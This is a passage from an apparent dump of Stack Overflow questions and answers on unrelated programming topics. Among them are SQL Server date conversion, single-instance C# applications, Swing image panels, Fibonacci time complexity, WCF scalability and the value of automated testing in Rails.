href="http://www.mulberrytech.com/xsl/xsl-list/" rel="nofollow noreferrer">XSL mailing list</a> might another helpful resource.</p>
10,177
<p>I have a database with DateTime fields that are currently stored in local time. An upcoming project will require all these dates to be converted to universal time. Rather than writing a c# app to convert these times to universal time, I'd rather use available sqlserver/sql features to accurately convert these dates to universal time so I only need an update script. To be accurate, the conversion would need to account for Daylight savings time fluctuations, etc.</p>
<p>Here's what I do:</p> <pre><code>using System.Runtime.InteropServices; [DllImport("user32.dll")] static extern int SendMessage(IntPtr hWnd, uint wMsg, UIntPtr wParam, IntPtr lParam); </code></pre> <p>then call:</p> <pre><code>SendMessage(myRichTextBox.Handle, (uint)0x00B6, (UIntPtr)0, (IntPtr)(-1)); </code></pre> <p>Seems to work OK - you might need to tweak things a bit, though.</p> <p>Hope that helps.</p>
<p>window.scrollBy(0,20); </p> <p>This will scroll the window. 20 is an approximate value I have used in the past that typically equals one line... but of course font size may impact how far one line really is.</p>
25,216
<p>I run a game and the running is done by hand, I have a few scripts that help me but essentially it's me doing the work. I am at the moment working on web app that will allow the users to input directly some of their game actions and thus save me a lot of work.</p> <p>The problem is that I'm one man working on a moderately sized (upwards of 20 tables) project, the workload isn't the issue, it's that bugs will have slipped in even though I test as I write. So my question is thus two-fold.</p> <ol> <li>Beta testing, I love open beta's but would a closed beta be somehow more effective and give better results?</li> <li>How should I bring in the app? Should I one turn drop it in and declare it's being used or should I use it alongside the normal construct of the game?</li> </ol>
<p>This is my general approach to testing/launching. How you test/launch depends mostly on:</p> <ol> <li>What your application <strong>is</strong>.</li> <li>Who your users <strong>are</strong>.</li> </ol> <p>If you application is a technical application and is geared to the technically-minded, the word "beta" won't really scare them - but provide an opportunity to test the product before it goes 'live', and help to improve the system. This is the ideal circumstance in which to use either an open or closed beta. It's usually beneficial to start off 'closed' with a group of people you select and trust to bug-find quickly and reliably - after you're more confident that all the critical bugs are gone, open it up with an invite system (for example).</p> <p>If, however, your application is 'trivial' from a technical standpoint (i.e. it's something like Twitter, or Facebook, or Flickr - nothing that is inherently geared towards technical usage), then you're going to have to be more careful in how you plan your testing. Closed testing is most definitely your first port of call, and this should last for longer than a closed beta on a more 'technical' product. The reason? Your 'average Joe' doesn't necessarily know what the word "beta" means, and others may well be scared by it, or judge your service prematurely (not understanding the concept of this 'public testing' phase). Many won't want to be used as guinea pigs.</p>
<p>I don't understand what you mean by "bring in the app" and "one turn drop it". By "bring in the app" do you mean deploy? As for "One turn drop", I totally don't understand it.</p> <p>As for open betas, that depends on your audience, really. Counterstrike, for example, apparently run a few closed betas before doing open betas, so here's my suggestion:</p> <ol> <li>Set up a forum in some free forumboard, or set up a topic in a popular gaming forum.</li> <li>Look for people (whether or not they are in those forums) that you trust, and let them in in a closed beta. This will allow you to iron out serious kinks at first.</li> <li>If your closed group isn't reporting as much bugs any more, release it to open beta, pointing out ways on how they could give feedback to you.</li> </ol> <p>This is similar to the approach StackOverflow took, but this being a game setting it up on a gaming forum will give the dual benefit of advertising your game <em>and</em> getting some interested beta testers.</p>
4,971
<p>I have an HTML input box</p> <pre><code>&lt;input type="text" id="foo" value="bar"&gt; </code></pre> <p>I've attached a handler for the '<em>keyup</em>' event, but if I retrieve the current value of the input box during the event handler, I get the value as it was, and not as it will be!</p> <p>I've tried picking up '<em>keypress</em>' and '<em>change</em>' events, same problem. </p> <p>I'm sure this is simple to solve, but at present I think the only solution is for me to use a short timeout to trigger some code a few milliseconds in the future!</p> <p><em>Is there anyway to obtain the current value during those events?</em></p> <p>EDIT: looks like I had a caching problem with my js file as I checked the same code later on and it worked just fine. I would delete the question, but not sure if that loses rep for the kind folk who posted ideas :)</p>
<p>Can you post your code? I'm not finding any issue with this. Tested on Firefox 3.01/safari 3.1.2 with:</p> <pre><code>function showMe(e) { // i am spammy! alert(e.value); } .... &lt;input type="text" id="foo" value="bar" onkeyup="showMe(this)" /&gt; </code></pre>
<p><a href="http://www.quirksmode.org/dom/events/index.html" rel="nofollow noreferrer">Here</a> is a table of the different events and the levels of browser support. You need to pick an event which is supported across at least all modern browsers. </p> <p>As you will see from the table, the <code>keypress</code> and <code>change</code> event do not have uniform support whereas the <code>keyup</code> event does. </p> <p>Also make sure you attach the event handler using a cross-browser-compatible method...</p>
27,483
<p>I have a DTS package that is raising an error with a "Copy SQL Server Objects" task. The task is copying a table plus data from one SQL Server 2000 SP4 server to another (same version) and is giving the error: -</p> <p><em>Could not find CHECK constraint for 'dbo.MyTableName', although the table is flagged as having one.</em></p> <p>The source table has one check constraint defined that appears to cause the problem. After running the DTS package, the thing appears to work properly - the table, all constraints and data ARE created on the destination server? But the error above is raised causing subsequent steps not to run.</p> <p>Any idea why this error is raised ?</p>
<p>This indicates that the metadata in the sys tables has gotten out of sync with your actual schema. If you aren't seeing any other signs of more generalized corruption, doing a rebuild of the table by copying it to another table (select * into newtable from oldtable), dropping the old table and then renaming the new one and replacing the constraints will help. This is similar to how the Enterprise manager for 2000 does things when you insert a column that isn't at the end of the table, so inserting a new column in the middle of the table and then removing will achieve the same thing if you don't want to manually write the queries.</p> <p>I would be somewhat concerned by the state of the database as a whole if you see other occurrences of this kind of error. (I'm assuming here that you have already done CHECKDB commands and that the error is persisting...)</p>
<p>This error started when a new column (with a check constraint) was added to an existing table. To investigate I have: -</p> <ul> <li>Copied the table to a different destination SQL Server and got the same error.</li> <li>Created a new table with exactly the same structure but different name and copied with no error.</li> <li>Dropped and re-created the check constraint on the problem table but still get the same error.</li> <li>dbcc checktable ('MyTableName') with ALL_ERRORMSGS gives no errors.</li> <li>dbcc checkdb in the source and destination database gives no errors.</li> </ul> <p>Interestingly the DTS package appears to: -</p> <ul> <li>Copy the table.</li> <li>Copy the data.</li> <li>Create the constraints</li> </ul> <p>Because the check constraint create time is 7 minutes after the table create time i.e. it creates the check constraint AFTER it has moved the data. Makes sense as it does not have to check the data as it is copying, presumably improving performance.</p> <p>As Godeke suggests, I think something has become corrupt in the system tables, as a new table with the same columns works. Even though the DBCC statements give no errors?</p>
25,608
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="https://stackoverflow.com/questions/19147/what-is-the-correct-way-to-create-a-single-instance-application">What is the correct way to create a single instance application?</a> </p> </blockquote> <p>How to force C# .net app to run only one instance in Windows?</p>
<p>I prefer a mutex solution similar to the following. As this way it re-focuses on the app if it is already loaded</p> <pre><code>using System.Threading; [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool SetForegroundWindow(IntPtr hWnd); /// &lt;summary&gt; /// The main entry point for the application. /// &lt;/summary&gt; [STAThread] static void Main() { bool createdNew = true; using (Mutex mutex = new Mutex(true, "MyApplicationName", out createdNew)) { if (createdNew) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new MainForm()); } else { Process current = Process.GetCurrentProcess(); foreach (Process process in Process.GetProcessesByName(current.ProcessName)) { if (process.Id != current.Id) { SetForegroundWindow(process.MainWindowHandle); break; } } } } } </code></pre>
<p>another way to single instance an application is to check their hash sums. after messing around with mutex (didn't work as i want) i got it working this way:</p> <pre><code> [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool SetForegroundWindow(IntPtr hWnd); public Main() { InitializeComponent(); Process current = Process.GetCurrentProcess(); string currentmd5 = md5hash(current.MainModule.FileName); Process[] processlist = Process.GetProcesses(); foreach (Process process in processlist) { if (process.Id != current.Id) { try { if (currentmd5 == md5hash(process.MainModule.FileName)) { SetForegroundWindow(process.MainWindowHandle); Environment.Exit(0); } } catch (/* your exception */) { /* your exception goes here */ } } } } private string md5hash(string file) { string check; using (FileStream FileCheck = File.OpenRead(file)) { MD5 md5 = new MD5CryptoServiceProvider(); byte[] md5Hash = md5.ComputeHash(FileCheck); check = BitConverter.ToString(md5Hash).Replace("-", "").ToLower(); } return check; } </code></pre> <p>it checks only md5 sums by process id.</p> <p>if an instance of this application was found, it focuses the running application and exit itself.</p> <p>you can rename it or do what you want with your file. it wont open twice if the md5 hash is the same.</p> <p>may someone has suggestions to it? i know it is answered, but maybe someone is looking for a mutex alternative.</p>
22,262
<p>Where can I find the redistributable version of the IBM DB2 Type 4 driver? I suppose this is the driver I would use to connect from a Java app (on windows) to DB2 on the mainframe?</p>
<p><a href="http://www-01.ibm.com/support/docview.wss?rs=71&amp;uid=swg21288110" rel="noreferrer">IBM's Fix pack site</a> has the "IBM Data Server Driver for JDBC and SQLJ" which is nothing but the JDBC type 4 driver. Though the page I pointed to above happens to be the windows page, it's the same type 4 driver for all platforms, as should be expected.</p> <p>I don't think any user/password is required.</p>
<p>If I need any IBM JARs for DB2 or MQ, I usually just add it to the instructions that DB2 or MQ needs to be installed as a prerequisite along with a URL to download it.</p> <p>The same goes for Java and many other not easily redistributable products as well.</p> <p>This eliminates the need to worry about licensing issues as it would be on the onus of the user rather than the vendor to obtain the proper licenses.</p>
6,883
<p>I have a core .NET application that needs to spawn an arbitrary number of subprocesses. These processes need to be able to access some form of state object in the core application.</p> <p>What is the best technique? I'll be moving a large amount of data between processes (Bitmaps), so it needs to be fast.</p>
<p><a href="https://en.wikipedia.org/wiki/Windows_Communication_Foundation" rel="nofollow noreferrer">WCF</a> would probably fit the bill.</p> <p>Here's a <a href="http://msdn.microsoft.com/en-us/magazine/cc163792.aspx" rel="nofollow noreferrer">really good article on .NET Remoting</a> for performing distributed intensive analysis. Though Remoting has been replaced with the WCF, the article is relevant and shows how to make the calls asynchronously, etc.</p> <p>This <a href="http://msdn.microsoft.com/en-us/library/bb310550.aspx" rel="nofollow noreferrer">article contrasts WCF to .NET Remoting</a>—the key takeaway here shows that WCF throughput outperforms Remoting for small data, but it approaches Remoting performance as data size increases.</p>
<p>I have similar requirements and am using <a href="http://msdn.microsoft.com/en-us/netframework/aa663324.aspx" rel="nofollow noreferrer">Windows Communication Foundation</a> to do that right now. My data sizes are probably a bit smaller though.</p> <p>For reference I'm doing about 30-60 requests of about 5 KB-30 KB per second on a quad-core machine. <a href="https://en.wikipedia.org/wiki/Windows_Communication_Foundation" rel="nofollow noreferrer">WCF</a> has been holding up quite well so far.</p> <p>With WCF you have the added advantages of choosing a transport protocol and security mode that is suitable for your application.</p>
28,753
<p>At what length of text and/or length of audio snippet does a piece of commercially distributable software pass the threshold of fair use and violate the included work's copyright? Does attribution absolve the developer from infringement? An example would be a quote from a novel used on a start-up screen.</p>
<p>Unfortunately, there is no cut and dried answer. Determining what is fair use involves a very subjective and fact-dependent <a href="http://en.wikipedia.org/wiki/Fair_use#Fair_use_under_United_States_law" rel="noreferrer">four point test</a>. You're never really going to know for sure if a borderline use is permissible or not unless you end up in court and a judge decides.</p> <p>The four factors are:</p> <ol> <li>the purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;</li> <li>the nature of the copyrighted work;</li> <li>the amount and substantiality of the portion used in relation to the copyrighted work as a whole; and</li> <li>the effect of the use upon the potential market for or value of the copyrighted work.</li> </ol> <p>Each of these has a specific legal meaning based on previous precedents (which may or may not correspond to what most people would think of as the plain language meaning). If you're doing anything that could get you sued, talk to a lawyer.</p> <p>Software is even more complicated, since not all code is copyrightable to begin with. </p>
<p>Also, keep in mind that laws vary from country to country, and since most software is distributed anywhere in the world over the web... well, it's a huge headache. It's unfortunate because the threat of lawsuit has a chilling effect on interesting, innovative work.</p>
11,465
<p>I have a <a href="http://download.oracle.com/javase/1.4.2/docs/api/javax/swing/JPanel.html" rel="noreferrer">JPanel</a> to which I'd like to add JPEG and PNG images that I generate on the fly.</p> <p>All the examples I've seen so far in the <a href="http://java.sun.com/docs/books/tutorial/uiswing/" rel="noreferrer">Swing Tutorials</a>, specially in the <a href="http://java.sun.com/docs/books/tutorial/uiswing/examples/components/" rel="noreferrer">Swing examples</a> use <code>ImageIcon</code>s.</p> <p>I'm generating these images as byte arrays, and they are usually larger than the common icon they use in the examples, at 640x480.</p> <ol> <li>Is there any (performance or other) problem in using the ImageIcon class to display an image that size in a JPanel?</li> <li>What's the <em>usual</em> way of doing it?</li> <li>How to add an image to a JPanel without using the ImageIcon class?</li> </ol> <p><strong>Edit</strong>: A more careful examination of the tutorials and the API shows that you cannot add an ImageIcon directly to a JPanel. Instead, they achieve the same effect by setting the image as an icon of a JLabel. This just doesn't feel right...</p>
<p>Here's how I do it (with a little more info on how to load an image):</p> <pre><code>import java.awt.Graphics; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.logging.Level; import java.util.logging.Logger; import javax.imageio.ImageIO; import javax.swing.JPanel; public class ImagePanel extends JPanel{ private BufferedImage image; public ImagePanel() { try { image = ImageIO.read(new File("image name and path")); } catch (IOException ex) { // handle exception... } } @Override protected void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(image, 0, 0, this); // see javadoc for more info on the parameters } } </code></pre>
<p>I can see many answers, not really addressing the three questions of the OP.</p> <p><strong>1)</strong> A word on performance: byte arrays are likely unefficient unless you can use an exact pixel byte ordering which matches to your display adapters current resolution and color depth. </p> <p>To achieve the best drawing performance, simply convert your image to a BufferedImage which is generated with a type corresponding to your current graphics configuration. See createCompatibleImage at <a href="https://docs.oracle.com/javase/tutorial/2d/images/drawonimage.html" rel="nofollow noreferrer">https://docs.oracle.com/javase/tutorial/2d/images/drawonimage.html</a> </p> <p>These images will be automatically cached on the display card memory after drawing a few times without any programming effort (this is standard in Swing since Java 6), and therefore the actual drawing will take negligible amount of time - <em>if</em> you did not change the image. </p> <p>Altering the image will come with an additional memory transfer between main memory and GPU memory - which is slow. Avoid "redrawing" the image into a BufferedImage therefore, avoid doing getPixel and setPixel at all means. </p> <p>For example, if you are developing a game, instead of drawing all the game actors to a BufferedImage and then to a JPanel, it is a lot faster to load all actors as smaller BufferedImages, and draw them one by one in your JPanel code at their proper position - this way there is no additional data transfer between the main memory and GPU memory except of the initial transfer of the images for caching.</p> <p>ImageIcon will use a BufferedImage under the hood - but basically allocating a BufferedImage with the <em>proper</em> graphics mode is the key, and there is no effort to do this right.</p> <p><strong>2)</strong> The usual way of doing this is to draw a BufferedImage in an overridden paintComponent method of the JPanel. Although Java supports a good amount of additional goodies such as buffer chains controlling VolatileImages cached in the GPU memory, there is no need to use any of these since Java 6 which does a reasonably good job without exposing all of these details of GPU acceleration.</p> <p><em>Note that GPU acceleration may not work for certain operations, such as stretching translucent images.</em> </p> <p><strong>3)</strong> Do not add. Just paint it as mentioned above:</p> <pre><code>@Override protected void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(image, 0, 0, this); } </code></pre> <p>"Adding" makes sense if the image is part of the layout. If you need this as a background or foreground image filling the JPanel, just draw in paintComponent. If you prefer brewing a generic Swing component which can show your image, then it is the same story (you may use a JComponent and override its paintComponent method) - and then add <em>this</em> to your layout of GUI components.</p> <p><strong>4)</strong> How to convert the array to a Bufferedimage</p> <p>Converting your byte arrays to PNG, then loading it is quite resource intensive. A better way is to convert your existing byte array to a BufferedImage.</p> <p>For that: <em>do not use for loops</em> and copy pixels. That is very very slow. Instead:</p> <ul> <li>learn the preferred byte structure of the BufferedImage (nowadays it is safe to assume RGB or RGBA, which is 4 bytes per pixel)</li> <li>learn the scanline and scansize in use (e.g. you might have a 142 pixels wide image - but in the real life that will be stored as a 256 pixel wide byte array since it is faster to process that and mask the unused pixes by the GPU hardware)</li> <li>then once you have an array build according to these principles, the setRGB array method of the BufferedImage can copy your array to the BufferedImage.</li> </ul>
38,371
<p>How would I assign a variable within scriplet code in JSP &lt;%> and then use struts logic tags to do stuff based on the value of the variable assigned in the scriplet code block?</p> <p>I have tried using struts:logic equal and greaterthan to no avail....</p> <p>Many Thanks,</p>
<p>What you are trying to do (if I understand you correct) is basically this:</p> <pre><code>&lt;% String foo = "Test"; %&gt; &lt;bean:write name="foo" /&gt; </code></pre> <p>Which, as you already know, doesn't work. That would give an error like this:</p> <blockquote> <p>Cannot find bean foo in any scope</p> </blockquote> <p>What I usually do, is to put my data in the page scope like this:</p> <pre><code>&lt;% pageContext.setAttribute("foo", "Test"); %&gt; &lt;bean:write name="foo" /&gt; </code></pre> <p>(This is for Struts 1.1. Newer versions may provide a better way to do it.)</p>
<p>You can set a variable in Struts2 using tags. for Example:</p> <pre><code>&lt;c:set var="contains" value="true" /&gt; </code></pre> <p>logic can be tested:</p> <pre><code>&lt;c:if test="%{#variable=='String 1'}"&gt; This is String 1 &lt;/c:if&gt; </code></pre> <p>other sources: <a href="http://www.mkyong.com/struts2/struts-2-if-elseif-else-tag-example/" rel="nofollow">http://www.mkyong.com/struts2/struts-2-if-elseif-else-tag-example/</a></p> <p>Required taglib:</p> <pre><code>&lt;%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%&gt; </code></pre>
25,657
<p>I need to enumerate all the user defined types created in a <code>SQL Server</code> database with <code>CREATE TYPE</code>, and/or find out whether they have already been defined.</p> <p>With tables or stored procedures I'd do something like this:</p> <pre><code>if exists (select * from dbo.sysobjects where name='foobar' and xtype='U') drop table foobar </code></pre> <p>However I can't find the equivalent (or a suitable alternative) for user defined types! I definitely can't see them anywhere in <code>sysobjects</code>. </p> <p>Can anyone enlighten me?</p>
<p>Types and UDTs don't appear in sys.objects. You should be able to get what you're looking for with the following:</p> <pre><code>select * from sys.types where is_user_defined = 1 </code></pre>
<p>To expand on jwolly2's answer, here's how you get a list of definitions including the standard data type:</p> <pre><code>-- User Defined Type definitions TP 20180124 select t1.name, t2.name, t1.precision, t1.scale, t1.max_length as bytes, t1.is_nullable from sys.types t1 join sys.types t2 on t2.system_type_id = t1.system_type_id and t2.is_user_defined = 0 where t1.is_user_defined = 1 and t2.name &lt;&gt; 'sysname' order by t1.name </code></pre>
7,808
<p>Does anyone have any experience with how well web services build with Microsoft's WCF will scale to a large number of users?</p> <p>The level I'm thinking of is in the region of 1000+ client users connecting to a collection of WCF services providing the business logic for our application, and these talking to a database - similar to a traditional 3-tier architecture. </p> <p>Are there any particular gotchas that have slowed down performance, or any design lessons learnt that have enabled this level of scalability?</p>
<p>To ensure your WCF application can scale to the desired level I think you might need to tweak your thinking about the stats your services have to meet.</p> <p>You mention servicing "1000+ client users" but to gauge if your services can perform at that level you'll also need to have some estimated usage figures, which will help you calculate some simpler stats such as the number of requests per second your app needs to handle.</p> <p>Having just finished working on a WCF project we managed to get 400 requests per second on our test hardware, which combined with our expected usage pattern of each user making 300 requests a day indicated we could handle an average of 100,000 users a day (assuming a flat usage graph across the day). </p> <p>In addition, since it's fairly common to make the WCF service code stateless, it's pretty easy to scale out the actual WCF code by adding additional boxes, which means the overall performance of your system is much more likely to be limited by your business logic and persistence layer than it is by WCF.</p>
<p><a href="http://weblogs.asp.net/paolopia/archive/2008/03/23/wcf-configuration-default-limits-concurrency-and-scalability.aspx" rel="nofollow noreferrer">WCF configuration default limits, concurrency and scalability</a></p>
6,545
<p>How do we create a search plugin for Safari? Like <a href="https://stackoverflow.com/questions/20830/firefox-users-here-is-your-stackoverflow-search-plugin">this post</a> </p>
<p><a href="http://pimpmysafari.com/plugins/keywurl" rel="nofollow noreferrer">Here</a> is a Safari plugin whereby you can customize it to search other sites. May work with Stack Overflow (I haven't tried it). Check out that site too for other Safari plugins.</p>
<p>AFAIK, Safari doesn't have a Search plugin capability. You could try <a href="http://www.inquisitorx.com/safari/index_en.php" rel="nofollow noreferrer">Inquisitor</a>; just add the URL <a href="https://stackoverflow.com/search?s=%@">https://stackoverflow.com/search?s=%@</a></p>
4,262
<p>I understand Big-O notation, but I don't know how to calculate it for many functions. In particular, I've been trying to figure out the computational complexity of the naive version of the Fibonacci sequence:</p> <pre><code>int Fibonacci(int n) { if (n &lt;= 1) return n; else return Fibonacci(n - 1) + Fibonacci(n - 2); } </code></pre> <p>What is the computational complexity of the Fibonacci sequence and how is it calculated?</p>
<p>You model the time function to calculate <code>Fib(n)</code> as sum of time to calculate <code>Fib(n-1)</code> plus the time to calculate <code>Fib(n-2)</code> plus the time to add them together (<code>O(1)</code>). This is assuming that repeated evaluations of the same <code>Fib(n)</code> take the same time - i.e. no memoization is used.</p> <p><code>T(n&lt;=1) = O(1)</code></p> <p><code>T(n) = T(n-1) + T(n-2) + O(1)</code></p> <p>You solve this recurrence relation (using generating functions, for instance) and you'll end up with the answer.</p> <p>Alternatively, you can draw the recursion tree, which will have depth <code>n</code> and intuitively figure out that this function is asymptotically <code>O(2</code><sup><code>n</code></sup><code>)</code>. You can then prove your conjecture by induction.</p> <p>Base: <code>n = 1</code> is obvious</p> <p>Assume <code>T(n-1) = O(2</code><sup><code>n-1</code></sup><code>)</code>, <i>therefore</i></p> <p><code>T(n) = T(n-1) + T(n-2) + O(1)</code> <i>which is equal to</i></p> <p><code>T(n) = O(2</code><sup><code>n-1</code></sup><code>) + O(2</code><sup><code>n-2</code></sup><code>) + O(1) = O(2</code><sup><code>n</code></sup><code>)</code></p> <p>However, as noted in a comment, this is not the tight bound. An interesting fact about this function is that the T(n) is asymptotically <b>the same</b> as the value of <code>Fib(n)</code> since both are defined as</p> <p><code>f(n) = f(n-1) + f(n-2)</code>.</p> <p>The leaves of the recursion tree will always return 1. The value of <code>Fib(n)</code> is sum of all values returned by the leaves in the recursion tree which is equal to the count of leaves. Since each leaf will take O(1) to compute, <code>T(n)</code> is equal to <code>Fib(n) x O(1)</code>. Consequently, the tight bound for this function is the Fibonacci sequence itself (~<code>θ(1.6</code><sup><code>n</code></sup><code>)</code>). You can find out this tight bound by using generating functions as I'd mentioned above.</p>
<p>Well, according to me to it is <code>O(2^n)</code> as in this function only recursion is taking the considerable time (divide and conquer). We see that, the above function will continue in a tree until the leaves are approaches when we reach to the level <code>F(n-(n-1))</code> i.e. <code>F(1)</code>. So, here when we jot down the time complexity encountered at each depth of tree, the summation series is:</p> <pre><code>1+2+4+.......(n-1) = 1((2^n)-1)/(2-1) =2^n -1 </code></pre> <p>that is order of <code>2^n [ O(2^n) ]</code>.</p>
47,077
<p>This seems trivial, but I've never had to worry about it before and my Google skills are failing me. How far-reaching is the <strong>in-process</strong> session bucket for ASP.NET/IIS6, in the sense that you can call Session["whatever"] and get the same value back? Obviously it can't stretch across different servers or application pools (I think). What about different web sites in the same application pool? Can those two see each other's session variables for a user? What about two different virtual directories each with their own web.config?</p> <p>Thanks!</p>
<p>AFAIK the <strong>in-process</strong> session has an AppDomain scope, so no, two web applications running in the same pool cannot share an in-process session. Actually the name "in-AppDomain" would be more appropriate.</p>
<p>It can stretch across servers in a farm if the asp.net session is stored in the database.</p> <p>Perimeter of session is strictly within the one app domain for security reasons</p>
30,252
<p>You have an ascending list of numbers, what is the most efficient algorithm you can think of to get the ascending list of sums of every two numbers in that list. Duplicates in the resulting list are irrelevant, you can remove them or avoid them if you like.</p> <p>To be clear, I'm interested in the algorithm. Feel free to post code in any language and paradigm that you like.</p>
<p>Edit as of 2018: You should probably stop reading this. (But I can't delete it as it is accepted.)</p> <p>If you write out the sums like this:</p> <pre><code>1 4 5 6 8 9 --------------- 2 5 6 7 9 10 8 9 10 12 13 10 11 13 14 12 14 15 16 17 18 </code></pre> <p>You'll notice that since M[i,j] &lt;= M[i,j+1] and M[i,j] &lt;= M[i+1,j], then you only need to examine the top left "corners" and choose the lowest one.</p> <p>e.g.</p> <ul> <li>only 1 top left corner, pick 2</li> <li>only 1, pick 5</li> <li>6 or 8, pick 6</li> <li>7 or 8, pick 7</li> <li>9 or 8, pick 8</li> <li>9 or 9, pick both :)</li> <li>10 or 10 or 10, pick all</li> <li>12 or 11, pick 11</li> <li>12 or 12, pick both</li> <li>13 or 13, pick both</li> <li>14 or 14, pick both</li> <li>15 or 16, pick 15</li> <li>only 1, pick 16</li> <li>only 1, pick 17</li> <li>only 1, pick 18</li> </ul> <p>Of course, when you have <em>lots</em> of top left corners then this solution devolves.</p> <p>I'm pretty sure this problem is Ω(n²), because you have to calculate the sums for each M[i,j] -- unless someone has a better algorithm for the summation :)</p>
<p>If you are looking for a truly language agnostic solution then you will be sorely disappointed in my opinion because you'll be stuck with a for loop and some conditionals. However if you opened it up to functional languages or functional language features (I'm looking at you LINQ) then my colleagues here can fill this page with elegant examples in Ruby, Lisp, Erlang, and others.</p>
2,324
<p>I'm about to build a <a href="https://toms3d.org/2017/02/23/building-cheapest-possible-prusa-i3-mk2/" rel="noreferrer">Prusa i3 dolly</a>. I am confused whether to use RAMPS 1.4 or 1.5 or 1.6.</p> <p>What is the big difference? Is it only the MOSFETs and the poly-fuses? If that is the case, would it be advisable to upgrade a RAMPS 1.4 board (replacing the MOSFETs, connectors, and fuses)?</p>
<p>One of the thermistor wires had come loose from the crimp ferrules. I re-crimped it and it works fine now. </p>
<p>This can come from several sources:</p> <h1>Hardware</h1> <p>The thermistor or its connections might be damaged, and the fault is only observable when the hotend is hot or moved to a certain area. Start by checking the wiring! You may be able to repair a bad connection easily, but depending what was broken, you may need to replace something. In some cases squishing a thermistor cartridge too much can destroy the internals, so a replacement is needed.</p> <p>A mainboard failure is more likely to just show a static temperature, and a heater failure would show as maybe not getting past a certain point.</p> <h1>Firmware</h1> <p>If it had not worked before or you changed the firmware, the firmware should also be a suspect. The firmware can 'fail' when using the wrong thermistor type/table which can result in a very big offset or bad slope, resulting in wrong or unaccurate readings.</p>
845
<p>I'm confused about what the various testing appliances in Ruby on Rails are for. I have been using the framework for about 6 months but I've never understood the testing part of it. The only testing I've used is JUnit3 in Java and that only briefly.</p> <p>Everything I've read about it just shows testing validations. Shouldn't the validations in rails just work? It seems more like testing the framework than testing the your code. Why would you need to test validations? </p> <p>Furthermore, the tests seem super fragile to any change in your code. So if you change anything in your models, you have to change your tests and fixtures to match. Doesn't this violate the DRY principle?</p> <p>Third, writing test code seems to take alot of time. Is that normal? Wouldn't it just be faster to refresh my browser and see if it worked? I already have to play with my application just to see if it flows correctly and make sure my CSS hasn't exploded. Why wouldn't manual testing be enough?</p> <p>I've asked these questions before and I haven't gotten more than "automated testing is automated". I am smart enough to figure out the advantages of automating a task. My problem is that costs of writing tests seem absurdly high compared to the benefits. That said, any detailed response is welcome because I probably missed a benefit or two.</p>
<blockquote> <p>Shouldn't the validations in rails just work? It seems more like testing the framework than testing the your code. Why would you need to test validations?</p> </blockquote> <p>The validations in Rails do work -- in fact, there are unit tests in the Rails codebase to ensure it. When you test a model's validation, you're testing the specifics of the validation: the length, the accepted values, etc. You're making sure the code was written as intended. Some validations are simple helpers and you may opt not to test them on the notion that "no one can mess up a <code>validates_numericality_of</code> call." Is that true? Does every developer always remember to write it in the first place? Does every developer never accidentally delete a line on a bad copy paste? In my personal opinion, you don't need to test every last combination of values for a Rails' validation helper, but you need a line to test that it's there with the right values passed, just in case some punk changes it in the future without proper forethought.</p> <p>Further, other validations are more complex, requiring lots of custom code -- they may warrant more thorough testing.</p> <blockquote> <p>Furthermore, the tests seem super fragile to any change in your code. So if you change anything in your models, you have to change your tests and fixtures to match. Doesn't this violate the DRY principle?</p> </blockquote> <p>I don't believe it violates DRY. They're communicating (that's what programming is, communication) two very different things. The test says the code <em>should</em> do something. The code says what it <em>actually</em> does. Testing is extremely important when there is a disconnect between those things.</p> <p>Test code and application code are intimately linked, obviously. I think of them as two sides of a coin. You wouldn't want a front without a back, or a back without a front. Good test code reinforces good application code, and vice versa. The two together are used to understand the whole problem that you're trying to solve. And <strong>well written test code is documentation -- it shows how the application code should be used.</strong></p> <blockquote> <p>Third, writing test code seems to take alot of time. Is that normal? Wouldn't it just be faster to refresh my browser and see if it worked? I already have to play with my application just to see if it flows correctly and make sure my CSS hasn't exploded. Why wouldn't manual testing be enough?</p> </blockquote> <p>You've only worked on very small projects, for which that testing is arguably sufficient. However, when you work on a project with several developers, thousands or tens of thousands of lines of code, integration points with web services, third party libraries, multiple databases, months of development and requirements changes, etc, there are a lot of other factors in play. Manual testing is simply not enough. In a project of any real complexity, changes in one place can often have unforeseen results in others. Proper architecture helps mitigate this problem, but automated testing helps as well (and helps identify points where the architecture can be improved) by identifying when a change in one place breaks another.</p> <blockquote> <p>My problem is that costs of writing tests seem absurdly high compared to the benefits. That said, any detailed response is welcome because I probably missed a benefit or two.</p> </blockquote> <p>I'll list a few more benefits.</p> <p>If you test first (Test Driven Development) your code will probably be better. I haven't met a programmer who gave it a solid shot for whom this wasn't the case. Testing first forces you to think about the problem and actually <em>design</em> your solution, versus hacking it out. Further, it forces you to understand the problem domain well enough to where if you do have to hack it out, you know your code works within the limitations you've defined.</p> <p>If you have full test coverage, you can refactor with NO RISK. If a software problem is very complicated (again, real world projects that last for months tend to be complicated) then you may wish to simplify code that has previously been written. So, you can write new code to replace the old code, and if it passes all of your tests, you're done. It does exactly what the old code did with respect to the tests. For a project that plans to use an agile development method, refactoring is absolutely essential. Changes will always need to be made.</p> <p>To sum up, automated testing, especially test driven development, is basically a method of managing the complexity of software development. If your project isn't very complex, the cost may outweigh the benefits (although I doubt it). However, real world projects tend to be very complex, and the results of testing and TDD speak for themselves: they work.</p> <p>(If you're curious, I find Dan North's article on Behavior Driven Development to be very helpful in understanding a lot of the value in testing: <a href="http://dannorth.net/introducing-bdd" rel="noreferrer">http://dannorth.net/introducing-bdd</a>)</p>
<p>For example: I work on a 25000+ lines project (yes, in rails 1.2) and last monday I was told if I could make Users dissapear from every list except admin ones if they had "leave_date" attribute set to the past.</p> <p>You can rewrite every list action (50+) to put a </p> <p>@users.reject!{|u| Date.today > u.leave_date} </p> <p>Or you can override the "find" method (DRY;-), but only if you have tests (on everything that finds users!) you will know you didn't break anything by overriding User#find !!</p>
15,428
<p>We are currently using a somewhat complicated deployment setup that involves a remote SVN server, 3 SVN branches for DEV, STAGE, and PROD, promoting code between them through patches, etc. I wonder what do you use for deployment in a small dev team situation?</p>
